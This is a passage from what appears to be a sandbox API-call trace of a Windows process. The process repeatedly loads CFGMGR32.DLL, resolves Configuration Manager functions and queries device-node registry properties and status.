0x196ef0f9ee0 [0186.819] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9ee0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9ee0, pulLength=0x67117d608) returned 0x0 [0186.820] free (_Block=0x196ef0f9ee0) [0186.820] malloc (_Size=0x48) returned 0x196ef0fb630 [0186.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x50348118, dwHighDateTime=0x1d9eb0c)) [0186.820] SetEvent (hEvent=0x248) returned 1 [0186.895] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0186.895] SafeArrayPutElement (psa=0x196ee7bf760, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0186.895] free (_Block=0x196ef0d1bc0) [0186.895] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0186.895] SafeArrayGetDim (psa=0x196ee7bf760) returned 0x1 [0186.895] SafeArrayGetLBound (in: psa=0x196ee7bf760, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0186.896] SafeArrayGetUBound (in: psa=0x196ee7bf760, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0186.896] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6260 [0186.896] SafeArrayGetDim (psa=0x196ee7bf760) returned 0x1 [0186.896] SafeArrayGetUBound (in: psa=0x196ee7bf760, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0186.896] SafeArrayGetElemsize (psa=0x196ee7bf760) returned 0x8 [0186.896] SafeArrayGetElement (in: psa=0x196ee7bf760, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0186.896] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d50, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0186.897] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6260) returned 1 [0186.897] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0186.897] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.897] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.900] malloc (_Size=0x18) returned 0x196ef0d20e0 [0186.900] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0186.900] malloc (_Size=0x5e) returned 0x196ef0d0370 [0186.900] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0370, pulLength=0x67117d608) returned 0x0 [0186.901] free (_Block=0x196ef0d0370) [0186.901] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0186.901] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x5040620f, dwHighDateTime=0x1d9eb0c)) [0186.901] SetEvent (hEvent=0x248) returned 1 [0186.904] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0186.904] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0186.904] free (_Block=0x196ef0d1ca0) [0186.904] malloc (_Size=0x18) returned 0x196ef0d1980 [0186.904] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0186.904] free (_Block=0x196ef0d1980) [0186.904] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855860 [0186.904] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0186.904] SafeArrayGetLBound (in: psa=0x196ee7bf720, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0186.904] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0186.904] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6260 [0186.904] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0186.904] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0186.904] SafeArrayGetElemsize (psa=0x196ee7bf720) returned 0x8 [0186.905] SafeArrayGetElement (in: psa=0x196ee7bf720, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0186.905] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e590, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0186.905] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e598, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0186.906] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6260) returned 1 [0186.906] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855860) returned 1 [0186.906] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0186.906] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0186.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0186.906] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0186.907] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0186.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0186.909] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0186.909] malloc (_Size=0x18) returned 0x196ef0d1a80 [0186.909] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.913] malloc (_Size=0x48) returned 0x196ef0fb450 [0186.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5042dac9, dwHighDateTime=0x1d9eb0c)) [0186.914] SetEvent (hEvent=0x248) returned 1 [0186.915] SetEvent (hEvent=0x248) returned 1 [0186.915] free (_Block=0x196ef0fb450) [0186.916] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.916] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0186.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5042dac9, dwHighDateTime=0x1d9eb0c)) [0186.918] SetEvent (hEvent=0x248) returned 1 [0186.920] SetEvent (hEvent=0x248) returned 1 [0186.921] free (_Block=0x196ef0fc0d0) [0186.921] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.923] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0186.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x504529dc, dwHighDateTime=0x1d9eb0c)) [0186.923] SetEvent (hEvent=0x248) returned 1 [0186.925] SetEvent (hEvent=0x248) returned 1 [0186.926] free (_Block=0x196ef0fb4a0) [0186.926] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0186.927] malloc (_Size=0x48) returned 0x196ef0fbf90 [0186.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x504529dc, dwHighDateTime=0x1d9eb0c)) [0186.928] SetEvent (hEvent=0x248) returned 1 [0187.067] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.067] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.067] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.068] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.069] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.070] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.070] malloc (_Size=0x18) returned 0x196ef0d1de0 [0187.070] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0187.073] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0187.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x505a9ba0, dwHighDateTime=0x1d9eb0c)) [0187.073] SetEvent (hEvent=0x248) returned 1 [0187.076] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.076] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.077] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.078] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.079] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.079] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0187.079] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x1e, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0187.080] malloc (_Size=0x48) returned 0x196ef0fbb30 [0187.080] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x505cfcde, dwHighDateTime=0x1d9eb0c)) [0187.080] SetEvent (hEvent=0x248) returned 1 [0187.083] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.083] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.084] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.085] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.086] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.086] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0187.086] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x1e, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0187.087] malloc (_Size=0x48) returned 0x196ef0fc170 [0187.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x505cfcde, dwHighDateTime=0x1d9eb0c)) [0187.087] SetEvent (hEvent=0x248) returned 1 [0187.090] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.090] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0187.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0187.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0187.093] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0187.093] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x1e, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0187.093] malloc (_Size=0x48) returned 0x196ef0fc120 [0187.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x505f5fa4, dwHighDateTime=0x1d9eb0c)) [0187.093] SetEvent (hEvent=0x248) returned 1 [0187.097] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0187.097] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0187.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0187.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0187.097] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0187.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0187.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0187.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0187.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0187.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0187.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0187.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0187.099] 